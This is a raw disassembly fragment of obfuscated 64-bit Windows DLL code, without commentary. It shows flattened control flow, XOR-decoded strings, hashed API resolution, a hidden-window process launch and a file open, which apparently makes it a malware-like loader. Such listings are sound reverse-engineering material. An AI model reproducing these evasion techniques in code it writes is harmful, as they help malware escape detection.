nop dword [rax]
cmp ebx, 0x423f0e31
je 0x180069a42
cmp ebx, 0x3f505f3e
jne 0x180069a30
jmp 0x180069a49
mov ebx, 0x3f505f3e
jmp 0x180069a30
mov qword [rbp + 0x278], rax
mov rbx, qword [rbp + 0x278]
mov bl, byte [rbx]
mov byte [rbp + 0x238], bl
mov edi, 0xf903eb77
nop word cs:[rax + rax]
nop
cmp edi, 0x25d84f40
je 0x180069a8e
cmp edi, 0xf903eb77
jne 0x180069a70
movsx ebx, byte [rbp + 0x238]
mov edi, 0x25d84f40
jmp 0x180069a70
mov dword [rbp + 0x278], ebx
mov ebx, dword [rbp + 0x268]
xor ebx, dword [rbp + 0x278]
mov byte [rdx + 5], bl
mov dword [rbp + 0x268], 0x63
mov ebx, 0x423f0e31
nop word cs:[rax + rax]
nop dword [rax]
cmp ebx, 0x423f0e31
je 0x180069ad2
cmp ebx, 0x3f505f3e
jne 0x180069ac0
jmp 0x180069ad9
mov ebx, 0x3f505f3e
jmp 0x180069ac0
mov qword [rbp + 0x278], rax
mov rbx, qword [rbp + 0x278]
mov bl, byte [rbx]
mov byte [rbp + 0x238], bl
mov edi, 0xf903eb77
nop word cs:[rax + rax]
nop
cmp edi, 0x25d84f40
je 0x180069b1e
cmp edi, 0xf903eb77
jne 0x180069b00
movsx ebx, byte [rbp + 0x238]
mov edi, 0x25d84f40
jmp 0x180069b00
mov dword [rbp + 0x278], ebx
mov ebx, dword [rbp + 0x268]
xor ebx, dword [rbp + 0x278]
mov byte [rdx + 6], bl
mov dword [rbp + 0x268], 0x65
mov ebx, 0x423f0e31
nop word cs:[rax + rax]
nop dword [rax]
cmp ebx, 0x423f0e31
je 0x180069b62
cmp ebx, 0x3f505f3e
jne 0x180069b50
jmp 0x180069b69
mov ebx, 0x3f505f3e
jmp 0x180069b50
mov qword [rbp + 0x278], rax
mov rbx, qword [rbp + 0x278]
mov bl, byte [rbx]
mov byte [rbp + 0x238], bl
mov edi, 0xf903eb77
nop word cs:[rax + rax]
nop
cmp edi, 0x25d84f40
je 0x180069bae
cmp edi, 0xf903eb77
jne 0x180069b90
movsx ebx, byte [rbp + 0x238]
mov edi, 0x25d84f40
jmp 0x180069b90
mov dword [rbp + 0x278], ebx
mov ebx, dword [rbp + 0x268]
xor ebx, dword [rbp + 0x278]
mov byte [rdx + 7], bl
mov dword [rbp + 0x268], reloc.WS2_32.dll_WSAStartup
mov ebx, 0x423f0e31
nop word cs:[rax + rax]
nop dword [rax]
cmp ebx, 0x423f0e31
je 0x180069bf2
cmp ebx, 0x3f505f3e
jne 0x180069be0
jmp 0x180069bf9
mov ebx, 0x3f505f3e
jmp 0x180069be0
mov qword [rbp + 0x278], rax
mov rbx, qword [rbp + 0x278]
mov bl, byte [rbx]
mov byte [rbp + 0x238], bl
mov edi, 0xf903eb77
nop word cs:[rax + rax]
nop
cmp edi, 0x25d84f40
je 0x180069c3e
cmp edi, 0xf903eb77
jne 0x180069c20
movsx ebx, byte [rbp + 0x238]
mov edi, 0x25d84f40
jmp 0x180069c20
mov dword [rbp + 0x278], ebx
mov ebx, dword [rbp + 0x268]
xor ebx, dword [rbp + 0x278]
mov byte [rdx + 8], bl
mov dword [rbp + 0x268], reloc.WS2_32.dll_WSAStartup
mov ebx, 0x423f0e31
nop word cs:[rax + rax]
nop dword [rax]
cmp ebx, 0x423f0e31
je 0x180069c82
cmp ebx, 0x3f505f3e
jne 0x180069c70
jmp 0x180069c89
mov ebx, 0x3f505f3e
jmp 0x180069c70
mov qword [rbp + 0x278], rax
mov rbx, qword [rbp + 0x278]
mov bl, byte [rbx]
mov byte [rbp + 0x238], bl
mov edi, 0xf903eb77
nop word cs:[rax + rax]
nop
cmp edi, 0x25d84f40
je 0x180069cce
cmp edi, 0xf903eb77
jne 0x180069cb0
movsx ebx, byte [rbp + 0x238]
mov edi, 0x25d84f40
jmp 0x180069cb0
mov dword [rbp + 0x278], ebx
mov ebx, dword [rbp + 0x268]
xor ebx, dword [rbp + 0x278]
mov byte [rdx + 9], bl
add rdx, 0xa
mov qword [rbp + 0x260], rdx
mov byte [rbp + 0x234], 0x57
mov edx, 0xfdd85123
jmp 0x1800696c0
mov byte [rbp + 0x250], cl
mov cl, byte [rbp + 0x250]
add cl, 0x61
mov byte [rax + 1], cl
mov dword [rbp + 0x260], 3
mov edx, 0x551dceed
cmp edx, 0x1badd59c
je 0x18006a343
cmp edx, 0x551dceed
jne 0x180069d20
mov ecx, dword [rbp + 0x260]
mov edx, 0x1badd59c
jmp 0x180069d20
mov dword [rbp + 0x248], 0x69
mov dl, byte [rax]
mov byte [rbp + 0x260], dl
mov ebx, 0x1f14b4ef
nop dword [rax + rax]
cmp ebx, 0x47d1636d
je 0x18006a391
cmp ebx, 0x1f14b4ef
jne 0x180069d60
movsx rdx, byte [rbp + 0x260]
mov ebx, 0x47d1636d
jmp 0x180069d60
mov byte [rbp + 0x260], dl
mov dl, byte [rbp + 0x260]
mov byte [rcx + 4], dl
mov dword [rbp + 0x248], 0x46
mov edx, 0xf31fe6b
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp edx, 0xf31fe6b
je 0x180069dc5
cmp edx, 0x8e4f2f87
jne 0x180069db0
jmp 0x18006a3dc
mov edx, 0x8e4f2f87
jmp 0x180069db0
mov byte [rbp + 0x268], cl
mov cl, byte [rbp + 0x268]
mov byte [rax + 3], cl
mov dword [rbp + 0x270], 0x57
mov ecx, dword [0x180129be8]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
sete cl
cmp dword [0x180129bec], 0xa
setl dl
or dl, cl
mov edi, 0x8ceba71e
cmovne edi, r8d
mov edx, 0x8ceba71e
cmovne edx, r9d
mov ecx, 0x97144bdb
nop word [rax + rax]
cmp ecx, 0xaff5b1c5
jle 0x180069e50
cmp ecx, 0xaff5b1c6
je 0x180069e71
cmp ecx, 0x51b33e4e
je 0x180069e98
cmp ecx, 0x611fa820
jne 0x180069e20
jmp 0x18006a427
cmp ecx, 0x8ceba71e
je 0x180069e9c
cmp ecx, 0x97144bdb
jne 0x180069e20
mov dword [rbp + 0x250], 0x5a
mov ecx, 0x51b33e4e
jmp 0x180069e20
movsxd rbx, dword [rbp + 0x250]
imul rcx, rbx, 0x4ec4ec4f
mov rsi, rcx
shr rsi, 0x3f
shr rcx, 0x22
add ecx, esi
lea esi, [rcx + rcx*2]
lea ecx, [rcx + rsi*4]
sub ebx, ecx
mov ecx, edi
jmp 0x180069e20
mov ecx, edx
jmp 0x180069e20
mov ecx, dword [rbp + 0x250]
mov ecx, dword [rbp + 0x250]
mov ecx, 0xaff5b1c6
jmp 0x180069e20
mov rcx, qword [rbp + 0x198]
sub rsp, 0x20
call fcn.18008f230
movabs r11, 0x100000001b3
add rsp, 0x20
mov ecx, dword [0x1801296a0]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
sete cl
cmp dword [0x1801296a4], 0xa
setl dl
or dl, cl
mov r8d, 0x7343bfbc
mov ecx, 0x9302de66
cmovne r8d, ecx
mov r9d, 0x7343bfbc
mov ecx, 0x181b9de8
cmovne r9d, ecx
mov edx, 0x28ad3f39
jmp 0x180069f60
mov edx, dword [rbp + 0x250]
mov rdx, qword [rbp + 0x278]
mov rdx, qword [rbp + 0x278]
mov rdx, qword [rbp + 0x278]
mov edx, dword [rbp + 0x270]
mov edx, dword [rbp + 0x270]
mov edx, dword [rbp + 0x270]
mov edx, dword [rbp + 0x270]
mov edx, dword [rbp + 0x270]
mov edx, dword [rbp + 0x270]
mov edx, 0x181b9de8
nop word [rax + rax]
cmp edx, 0xfe90a09b
jle 0x180069fd0
cmp edx, 0x333d8297
jle 0x18006a020
cmp edx, 0x5cca55f4
jg 0x18006a09a
cmp edx, 0x333d8298
je 0x18006a15d
cmp edx, 0x33ec62ab
je 0x18006a176
cmp edx, 0x42d422e5
jne 0x180069f60
mov dword [rbp + 0x268], edi
mov edx, dword [rbp + 0x268]
movsx edx, byte [rax + rdx]
mov dword [rbp + 0x230], edx
mov edx, dword [rbp + 0x230]
cmp edx, 0x20
mov edx, 0xbb6ed30e
cmovge edx, r13d
jmp 0x180069f60
cmp edx, 0xc5fd57a7
jle 0x18006a060
cmp edx, 0xeb000b68
jg 0x18006a0ca
cmp edx, 0xc5fd57a8
je 0x18006a187
cmp edx, 0xd1e81d16
je 0x18006a196
cmp edx, 0xd597d4ff
jne 0x180069f60
mov edx, 0x42d422e5
mov edi, dword [rbp + 0x22c]
jmp 0x180069f60
cmp edx, 0x12a1b9d7
jle 0x18006a0fc
cmp edx, 0x12a1b9d8
je 0x18006a1af
cmp edx, 0x181b9de8
je 0x18006a1be
cmp edx, 0x28ad3f39
jne 0x180069f60
mov edx, 0x73f80f82
jmp 0x180069f60
cmp edx, 0xb163ad29
jle 0x18006a12e
cmp edx, 0xb163ad2a
je 0x18006a1ee
cmp edx, 0xb9d33223
je 0x18006a21b
cmp edx, 0xbb6ed30e
jne 0x180069f60
mov edx, 0x12a1b9d8
jmp 0x180069f60
cmp edx, 0x5cca55f5
je 0x18006a22c
cmp edx, 0x7343bfbc
je 0x180069f13
cmp edx, 0x73f80f82
jne 0x180069f60
mov edx, 0x42d422e5
xor edi, edi
jmp 0x180069f60
cmp edx, 0xeb000b69
je 0x18006a245
cmp edx, 0xfb306983
jne 0x18006a2bc
mov edx, dword [rbp + 0x230]
cmp edx, 0x7f
setl byte [rbp + 0x25f]
mov edx, 0x333d8298
jmp 0x180069f60
cmp edx, 0xfe90a09c
je 0x18006a270
cmp edx, 0x1dd0b01
jne 0x180069f60
mov edx, dword [rbp + 0x244]
cmp edx, 0x5b
setl byte [rbp + 0x25e]
mov edx, 0xd1e81d16
jmp 0x180069f60
cmp edx, 0x87cbc1a8
je 0x18006a2a2
cmp edx, 0x9302de66
jne 0x180069f60
mov rcx, qword [rbp + 0x248]
mov edx, 0xb163ad2a
mov esi, dword [rbp + 0x238]
jmp 0x180069f60
cmp byte [rbp + 0x25f], 0
mov edx, 0xbb6ed30e
mov ebx, 0x5cca55f5
cmovne edx, ebx
jmp 0x180069f60
mov edx, 0xc5fd57a8
mov r10d, dword [rbp + 0x234]
jmp 0x180069f60
mov dword [rbp + 0x250], r10d
mov edx, r9d
jmp 0x180069f60
cmp byte [rbp + 0x25e], 0
mov edx, 0xb9d33223
mov ebx, 0xfe90a09c
cmovne edx, ebx
jmp 0x180069f60
mov edx, 0xb163ad2a
xor esi, esi
mov rcx, r12
jmp 0x180069f60
movsxd rdx, dword [rbp + 0x250]
xor rdx, qword [rbp + 0x278]
imul rdx, r11
mov qword [rbp + 0x248], rdx
mov edx, dword [rbp + 0x270]
add edx, 1
mov dword [rbp + 0x238], edx
mov edx, r8d
jmp 0x180069f60
mov dword [rbp + 0x270], esi
mov qword [rbp + 0x278], rcx
mov edx, dword [rbp + 0x268]
mov ebx, dword [rbp + 0x270]
cmp ebx, edx
mov edx, 0xf6d6bd87
mov ebx, 0x87cbc1a8
cmovb edx, ebx
jmp 0x180069f60
mov edx, 0xc5fd57a8
mov r10d, dword [rbp + 0x244]
jmp 0x180069f60
mov edx, dword [rbp + 0x268]
add edx, 1
mov dword [rbp + 0x22c], edx
mov edx, 0xd597d4ff
jmp 0x180069f60
mov rdx, qword [rbp + 0x260]
movsx edx, byte [rdx]
mov dword [rbp + 0x244], edx
mov edx, dword [rbp + 0x244]
cmp edx, 0x41
mov edx, 0xb9d33223
mov ebx, 0x1dd0b01
cmovge edx, ebx
jmp 0x180069f60
mov edx, dword [rbp + 0x244]
mov ebx, edx
and ebx, 0x72963832
or ebx, 0x8d414380
and edx, 0x8d69c7ed
xor edx, ebx
xor edx, 0x8d4143a0
mov dword [rbp + 0x234], edx
mov edx, 0x33ec62ab
jmp 0x180069f60
mov edx, dword [rbp + 0x270]
add rdx, rax
mov qword [rbp + 0x260], rdx
mov edx, 0xeb000b69
jmp 0x180069f60
cmp edx, 0xf6d6bd87
jne 0x180069f60
mov rcx, qword [rbp + 0x278]
sub rsp, 0x20
call fcn.1800e9be0
add rsp, 0x20
mov rcx, qword [rbp + 0x1c8]
sub rsp, 0x50
mov qword [rsp + 0x48], rcx
lea rcx, [rbp + 0x280]
mov qword [rsp + 0x40], rcx
movups xmmword [rsp + 0x30], xmm6
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], 0
xor ecx, ecx
lea rdx, [rbp + 0x2f0]
xor r8d, r8d
xor r9d, r9d
call rax
movabs r11, 0x100000001b3
add rsp, 0x50
test eax, eax
sete byte [rbp + 0x227]
mov rax, qword [rbp + 0x58]
mov eax, 0xa8cfa29c
jmp 0x18005ef80
mov byte [rbp + 0x250], cl
mov cl, byte [rbp + 0x250]
add cl, 0x74
mov byte [rax + 2], cl
mov dword [rbp + 0x260], 3
mov edx, 0x551dceed
nop word cs:[rax + rax]
nop
cmp edx, 0x1badd59c
je 0x18006a467
cmp edx, 0x551dceed
jne 0x18006a370
mov ecx, dword [rbp + 0x260]
mov edx, 0x1badd59c
jmp 0x18006a370
mov qword [rbp + 0x278], rdx
mov rdx, qword [rbp + 0x278]
add dl, 4
mov ebx, dword [rbp + 0x248]
xor bl, dl
mov byte [rcx + 5], bl
mov edx, 0xbf0a975f
nop word cs:[rax + rax]
nop dword [rax]
cmp edx, 0xbf0a975f
je 0x18006a3d5
cmp edx, 0x86611407
jne 0x18006a3c0
jmp 0x18006a4b1
mov edx, 0x86611407
jmp 0x18006a3c0
mov qword [rbp + 0x278], rax
mov rdx, qword [rbp + 0x278]
movsx edx, byte [rdx]
mov dword [rbp + 0x278], edx
mov ebx, 0x9ecf9227
nop dword [rax + rax]
cmp ebx, 0xe1858133
je 0x18006a4f3
cmp ebx, 0x9ecf9227
jne 0x18006a400
mov edx, dword [rbp + 0x248]
xor edx, dword [rbp + 0x278]
mov ebx, 0xe1858133
jmp 0x18006a400
mov byte [rbp + 0x268], bl
movsx ecx, byte [rbp + 0x268]
mov dword [rbp + 0x250], ecx
mov edx, 0x67afa13d
nop
cmp edx, 0xb7da92c8
je 0x18006a53c
cmp edx, 0x67afa13d
jne 0x18006a440
mov ecx, dword [rbp + 0x270]
add ecx, dword [rbp + 0x250]
mov edx, 0xb7da92c8
jmp 0x18006a440
mov byte [rbp + 0x250], cl
mov cl, byte [rbp + 0x250]
add cl, 0x68
mov byte [rax + 3], cl
mov dword [rbp + 0x260], 3
mov edx, 0x551dceed
nop dword [rax + rax]
cmp edx, 0x1badd59c
je 0x18006a9e2
cmp edx, 0x551dceed
jne 0x18006a490
mov ecx, dword [rbp + 0x260]
mov edx, 0x1badd59c
jmp 0x18006a490
mov dword [rbp + 0x248], WSAStartup
mov dl, byte [rax]
mov byte [rbp + 0x260], dl
mov ebx, 0x1f14b4ef
nop dword [rax + rax]
cmp ebx, 0x47d1636d
je 0x18006aea0
cmp ebx, 0x1f14b4ef
jne 0x18006a4d0
movsx rdx, byte [rbp + 0x260]
mov ebx, 0x47d1636d
jmp 0x18006a4d0
mov byte [rbp + 0x260], dl
mov dl, byte [rbp + 0x260]
mov byte [rcx + 5], dl
mov dword [rbp + 0x248], WSAStartup
mov edx, 0xf31fe6b
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp edx, 0xf31fe6b
je 0x18006a535
cmp edx, 0x8e4f2f87
jne 0x18006a520
jmp 0x18006aeec
mov edx, 0x8e4f2f87
jmp 0x18006a520
mov byte [rbp + 0x268], cl
mov cl, byte [rbp + 0x268]
mov byte [rax + 4], cl
mov byte [rax + 5], 0
mov rcx, qword [rbp + 0x150]
sub rsp, 0x20
call fcn.180090ee0
add rsp, 0x20
mov ecx, dword [0x1801296a0]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
sete cl
cmp dword [0x1801296a4], 0xa
setl dl
or dl, cl
mov r8d, 0x7343bfbc
mov ecx, 0x9302de66
cmovne r8d, ecx
mov r9d, 0x7343bfbc
mov ecx, 0x181b9de8
cmovne r9d, ecx
mov edx, 0x28ad3f39
movabs r11, 0x100000001b3
jmp 0x18006a600
mov edx, dword [rbp + 0x250]
mov rdx, qword [rbp + 0x278]
mov rdx, qword [rbp + 0x278]
mov rdx, qword [rbp + 0x278]
mov edx, dword [rbp + 0x270]
mov edx, dword [rbp + 0x270]
mov edx, dword [rbp + 0x270]
mov edx, dword [rbp + 0x270]
mov edx, dword [rbp + 0x270]
mov edx, dword [rbp + 0x270]
mov edx, 0x181b9de8
nop word cs:[rax + rax]
nop
cmp edx, 0xfe90a09b
jle 0x18006a670
cmp edx, 0x333d8297
jle 0x18006a6c0
cmp edx, 0x5cca55f4
jg 0x18006a73a
cmp edx, 0x333d8298
je 0x18006a7fd
cmp edx, 0x33ec62ab
je 0x18006a816
cmp edx, 0x42d422e5
jne 0x18006a600
mov dword [rbp + 0x268], edi
mov edx, dword [rbp + 0x268]
movsx edx, byte [rax + rdx]
mov dword [rbp + 0x230], edx
mov edx, dword [rbp + 0x230]
cmp edx, 0x20
mov edx, 0xbb6ed30e
cmovge edx, r13d
jmp 0x18006a600
cmp edx, 0xc5fd57a7
jle 0x18006a700
cmp edx, 0xeb000b68
jg 0x18006a76a
cmp edx, 0xc5fd57a8
je 0x18006a827
cmp edx, 0xd1e81d16
je 0x18006a836
cmp edx, 0xd597d4ff
jne 0x18006a600
mov edx, 0x42d422e5
mov edi, dword [rbp + 0x22c]
jmp 0x18006a600
cmp edx, 0x12a1b9d7
jle 0x18006a79c
cmp edx, 0x12a1b9d8
je 0x18006a84f
cmp edx, 0x181b9de8
je 0x18006a85e
cmp edx, 0x28ad3f39
jne 0x18006a600
mov edx, 0x73f80f82
jmp 0x18006a600
cmp edx, 0xb163ad29
jle 0x18006a7ce
cmp edx, 0xb163ad2a
je 0x18006a88e
cmp edx, 0xb9d33223
je 0x18006a8bb
cmp edx, 0xbb6ed30e
jne 0x18006a600
mov edx, 0x12a1b9d8
jmp 0x18006a600
cmp edx, 0x5cca55f5
je 0x18006a8cc
cmp edx, 0x7343bfbc
je 0x18006a5b0
cmp edx, 0x73f80f82
jne 0x18006a600
mov edx, 0x42d422e5
xor edi, edi
jmp 0x18006a600
cmp edx, 0xeb000b69
je 0x18006a8e5
cmp edx, 0xfb306983
jne 0x18006a95c
mov edx, dword [rbp + 0x230]
cmp edx, 0x7f
setl byte [rbp + 0x25f]
mov edx, 0x333d8298
jmp 0x18006a600
cmp edx, 0xfe90a09c
je 0x18006a910
cmp edx, 0x1dd0b01
jne 0x18006a600
mov edx, dword [rbp + 0x244]
cmp edx, 0x5b
setl byte [rbp + 0x25e]
mov edx, 0xd1e81d16
jmp 0x18006a600
cmp edx, 0x87cbc1a8
je 0x18006a942
cmp edx, 0x9302de66
jne 0x18006a600
mov rcx, qword [rbp + 0x248]
mov edx, 0xb163ad2a
mov esi, dword [rbp + 0x238]
jmp 0x18006a600
cmp byte [rbp + 0x25f], 0
mov edx, 0xbb6ed30e
mov ebx, 0x5cca55f5
cmovne edx, ebx
jmp 0x18006a600
mov edx, 0xc5fd57a8
mov r10d, dword [rbp + 0x234]
jmp 0x18006a600
mov dword [rbp + 0x250], r10d
mov edx, r9d
jmp 0x18006a600
cmp byte [rbp + 0x25e], 0
mov edx, 0xb9d33223
mov ebx, 0xfe90a09c
cmovne edx, ebx
jmp 0x18006a600
mov edx, 0xb163ad2a
xor esi, esi
mov rcx, r12
jmp 0x18006a600
movsxd rdx, dword [rbp + 0x250]
xor rdx, qword [rbp + 0x278]
imul rdx, r11
mov qword [rbp + 0x248], rdx
mov edx, dword [rbp + 0x270]
add edx, 1
mov dword [rbp + 0x238], edx
mov edx, r8d
jmp 0x18006a600
mov dword [rbp + 0x270], esi
mov qword [rbp + 0x278], rcx
mov edx, dword [rbp + 0x268]
mov ebx, dword [rbp + 0x270]
cmp ebx, edx
mov edx, 0xf6d6bd87
mov ebx, 0x87cbc1a8
cmovb edx, ebx
jmp 0x18006a600
mov edx, 0xc5fd57a8
mov r10d, dword [rbp + 0x244]
jmp 0x18006a600
mov edx, dword [rbp + 0x268]
add edx, 1
mov dword [rbp + 0x22c], edx
mov edx, 0xd597d4ff
jmp 0x18006a600
mov rdx, qword [rbp + 0x260]
movsx edx, byte [rdx]
mov dword [rbp + 0x244], edx
mov edx, dword [rbp + 0x244]
cmp edx, 0x41
mov edx, 0xb9d33223
mov ebx, 0x1dd0b01
cmovge edx, ebx
jmp 0x18006a600
mov edx, dword [rbp + 0x244]
mov ebx, edx
and ebx, 0x72963832
or ebx, 0x8d414380
and edx, 0x8d69c7ed
xor edx, ebx
xor edx, 0x8d4143a0
mov dword [rbp + 0x234], edx
mov edx, 0x33ec62ab
jmp 0x18006a600
mov edx, dword [rbp + 0x270]
add rdx, rax
mov qword [rbp + 0x260], rdx
mov edx, 0xeb000b69
jmp 0x18006a600
cmp edx, 0xf6d6bd87
jne 0x18006a600
mov rcx, qword [rbp + 0x278]
sub rsp, 0x20
call fcn.1800e9be0
add rsp, 0x20
mov rcx, qword [rbp + 0x208]
sub rsp, 0x40
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
mov edx, 0x80000000
mov r8d, 3
xor r9d, r9d
call rax
movabs r11, 0x100000001b3
add rsp, 0x40
mov qword [rbp + 0x200], rax
mov rax, qword [rbp + 0x200]
cmp rax, 0xffffffffffffffff
mov eax, 0xe3ed8e1e
mov ecx, 0x5c47e70c
cmove eax, ecx
jmp 0x18005ef80
mov byte [rbp + 0x250], cl
mov cl, byte [rbp + 0x250]
add cl, 0x57
mov byte [rax + 4], cl
mov byte [rax + 5], 0
mov rcx, qword [rbp + 0x1b8]
sub rsp, 0x20
call fcn.18008e950
movabs r11, 0x100000001b3
add rsp, 0x20
mov ecx, dword [0x1801296a0]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
sete cl
cmp dword [0x1801296a4], 0xa
setl dl
or dl, cl
mov r8d, 0x7343bfbc
mov ecx, 0x9302de66
cmovne r8d, ecx
mov r9d, 0x7343bfbc
mov ecx, 0x181b9de8
cmovne r9d, ecx
mov edx, 0x28ad3f39
jmp 0x18006aaa0
mov edx, dword [rbp + 0x250]
mov rdx, qword [rbp + 0x278]
mov rdx, qword [rbp + 0x278]
mov rdx, qword [rbp + 0x278]
mov edx, dword [rbp + 0x270]
mov edx, dword [rbp + 0x270]
mov edx, dword [rbp + 0x270]
mov edx, dword [rbp + 0x270]
mov edx, dword [rbp + 0x270]
mov edx, dword [rbp + 0x270]
mov edx, 0x181b9de8
nop dword [rax]
cmp edx, 0xfe90a09b
jle 0x18006ab10
cmp edx, 0x333d8297
jle 0x18006ab60
cmp edx, 0x5cca55f4
jg 0x18006abda
cmp edx, 0x333d8298
je 0x18006ac9d
cmp edx, 0x33ec62ab
je 0x18006acb6
cmp edx, 0x42d422e5
jne 0x18006aaa0
mov dword [rbp + 0x268], edi
mov edx, dword [rbp + 0x268]
movsx edx, byte [rax + rdx]
mov dword [rbp + 0x230], edx
mov edx, dword [rbp + 0x230]
cmp edx, 0x20
mov edx, 0xbb6ed30e
cmovge edx, r13d
jmp 0x18006aaa0
cmp edx, 0xc5fd57a7
jle 0x18006aba0
cmp edx, 0xeb000b68
jg 0x18006ac0a
cmp edx, 0xc5fd57a8
je 0x18006acc7
cmp edx, 0xd1e81d16
je 0x18006acd6
cmp edx, 0xd597d4ff
jne 0x18006aaa0
mov edx, 0x42d422e5
mov edi, dword [rbp + 0x22c]
jmp 0x18006aaa0
cmp edx, 0x12a1b9d7
jle 0x18006ac3c
cmp edx, 0x12a1b9d8
je 0x18006acef
cmp edx, 0x181b9de8
je 0x18006acfe
cmp edx, 0x28ad3f39
jne 0x18006aaa0
mov edx, 0x73f80f82
jmp 0x18006aaa0
cmp edx, 0xb163ad29
jle 0x18006ac6e
cmp edx, 0xb163ad2a
je 0x18006ad2e
cmp edx, 0xb9d33223
je 0x18006ad5b
cmp edx, 0xbb6ed30e
jne 0x18006aaa0
mov edx, 0x12a1b9d8
jmp 0x18006aaa0
cmp edx, 0x5cca55f5
je 0x18006ad6c
cmp edx, 0x7343bfbc
je 0x18006aa59
cmp edx, 0x73f80f82
jne 0x18006aaa0
mov edx, 0x42d422e5
xor edi, edi
jmp 0x18006aaa0
cmp edx, 0xeb000b69
je 0x18006ad85
cmp edx, 0xfb306983
jne 0x18006adfc
mov edx, dword [rbp + 0x230]
cmp edx, 0x7f
setl byte [rbp + 0x25f]
mov edx, 0x333d8298
jmp 0x18006aaa0
cmp edx, 0xfe90a09c
je 0x18006adb0
cmp edx, 0x1dd0b01
jne 0x18006aaa0
mov edx, dword [rbp + 0x244]
cmp edx, 0x5b
setl byte [rbp + 0x25e]
mov edx, 0xd1e81d16
jmp 0x18006aaa0
cmp edx, 0x87cbc1a8
je 0x18006ade2
cmp edx, 0x9302de66
jne 0x18006aaa0
mov rcx, qword [rbp + 0x248]
mov edx, 0xb163ad2a
mov esi, dword [rbp + 0x238]
jmp 0x18006aaa0
cmp byte [rbp + 0x25f], 0
mov edx, 0xbb6ed30e
mov ebx, 0x5cca55f5
cmovne edx, ebx
jmp 0x18006aaa0
mov edx, 0xc5fd57a8
mov r10d, dword [rbp + 0x234]
jmp 0x18006aaa0
mov dword [rbp + 0x250], r10d
mov edx, r9d
jmp 0x18006aaa0
cmp byte [rbp + 0x25e], 0
mov edx, 0xb9d33223
mov ebx, 0xfe90a09c
cmovne edx, ebx
jmp 0x18006aaa0
mov edx, 0xb163ad2a
xor esi, esi
mov rcx, r12
jmp 0x18006aaa0
movsxd rdx, dword [rbp + 0x250]
xor rdx, qword [rbp + 0x278]
imul rdx, r11
mov qword [rbp + 0x248], rdx
mov edx, dword [rbp + 0x270]
add edx, 1
mov dword [rbp + 0x238], edx
mov edx, r8d
jmp 0x18006aaa0
mov dword [rbp + 0x270], esi
mov qword [rbp + 0x278], rcx
mov edx, dword [rbp + 0x268]
mov ebx, dword [rbp + 0x270]
cmp ebx, edx
mov edx, 0xf6d6bd87
mov ebx, 0x87cbc1a8
cmovb edx, ebx
jmp 0x18006aaa0
mov edx, 0xc5fd57a8
mov r10d, dword [rbp + 0x244]
jmp 0x18006aaa0
mov edx, dword [rbp + 0x268]
add edx, 1
mov dword [rbp + 0x22c], edx
mov edx, 0xd597d4ff
jmp 0x18006aaa0
mov rdx, qword [rbp + 0x260]
movsx edx, byte [rdx]
mov dword [rbp + 0x244], edx
mov edx, dword [rbp + 0x244]
cmp edx, 0x41
mov edx, 0xb9d33223
mov ebx, 0x1dd0b01
cmovge edx, ebx
jmp 0x18006aaa0
mov edx, dword [rbp + 0x244]
mov ebx, edx
and ebx, 0x72963832
or ebx, 0x8d414380
and edx, 0x8d69c7ed
xor edx, ebx
xor edx, 0x8d4143a0
mov dword [rbp + 0x234], edx
mov edx, 0x33ec62ab
jmp 0x18006aaa0
mov edx, dword [rbp + 0x270]
add rdx, rax
mov qword [rbp + 0x260], rdx
mov edx, 0xeb000b69
jmp 0x18006aaa0
cmp edx, 0xf6d6bd87
jne 0x18006aaa0
mov rcx, qword [rbp + 0x278]
sub rsp, 0x20
call fcn.1800e9be0
mov ecx, 0x400
lea rdx, [rbp + 0xaf0]
call rax
movabs r11, 0x100000001b3
add rsp, 0x20
mov rax, qword [rbp + 0x1b0]
mov rax, qword [rbp + 0x1b0]
mov edx, 0xc572c48
nop word [rax + rax]
cmp edx, 0x6e0c2a1
je 0x18006af37
cmp edx, 0xc572c48
jne 0x18006ae50
mov ecx, 0x35fd7b72
nop dword [rax]
cmp ecx, 0x35fd7b72
je 0x18006ae82
cmp ecx, 0xb3ed82eb
jne 0x18006ae70
jmp 0x18006ae89
mov ecx, 0xb3ed82eb
jmp 0x18006ae70
mov byte [rbp + 0x278], 1
mov cl, byte [rbp + 0x278]
add cl, 0x47
mov edx, 0x6e0c2a1
jmp 0x18006ae50
mov qword [rbp + 0x278], rdx
mov rdx, qword [rbp + 0x278]
add dl, 5
mov ebx, dword [rbp + 0x248]
xor bl, dl
mov byte [rcx + 6], bl
mov edx, 0xbf0a975f
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp edx, 0xbf0a975f
je 0x18006aee5
cmp edx, 0x86611407
jne 0x18006aed0
jmp 0x18006afa0
mov edx, 0x86611407
jmp 0x18006aed0
mov qword [rbp + 0x278], rax
mov rdx, qword [rbp + 0x278]
movsx edx, byte [rdx]
mov dword [rbp + 0x278], edx
mov ebx, 0x9ecf9227
nop dword [rax + rax]
cmp ebx, 0xe1858133
je 0x18006afe3
cmp ebx, 0x9ecf9227
jne 0x18006af10
mov edx, dword [rbp + 0x248]
xor edx, dword [rbp + 0x278]
mov ebx, 0xe1858133
jmp 0x18006af10
mov byte [rbp + 0x278], cl
mov cl, byte [rbp + 0x278]
mov byte [rax], cl
mov edx, 0xc572c48
nop word [rax + rax]
cmp edx, 0x6e0c2a1
je 0x18006b02c
cmp edx, 0xc572c48
jne 0x18006af50
mov ecx, 0x35fd7b72
nop dword [rax]
cmp ecx, 0x35fd7b72
je 0x18006af82
cmp ecx, 0xb3ed82eb
jne 0x18006af70
jmp 0x18006af89
mov ecx, 0xb3ed82eb
jmp 0x18006af70
mov byte [rbp + 0x278], 1
mov cl, byte [rbp + 0x278]
add cl, 0x65
mov edx, 0x6e0c2a1
jmp 0x18006af50
mov dword [rbp + 0x248], 0x65
mov dl, byte [rax]
mov byte [rbp + 0x260], dl
mov ebx, 0x1f14b4ef
nop word [rax + rax]
cmp ebx, 0x47d1636d
je 0x18006b090
cmp ebx, 0x1f14b4ef
jne 0x18006afc0
movsx rdx, byte [rbp + 0x260]
mov ebx, 0x47d1636d
jmp 0x18006afc0
mov byte [rbp + 0x260], dl
mov dl, byte [rbp + 0x260]
mov byte [rcx + 6], dl
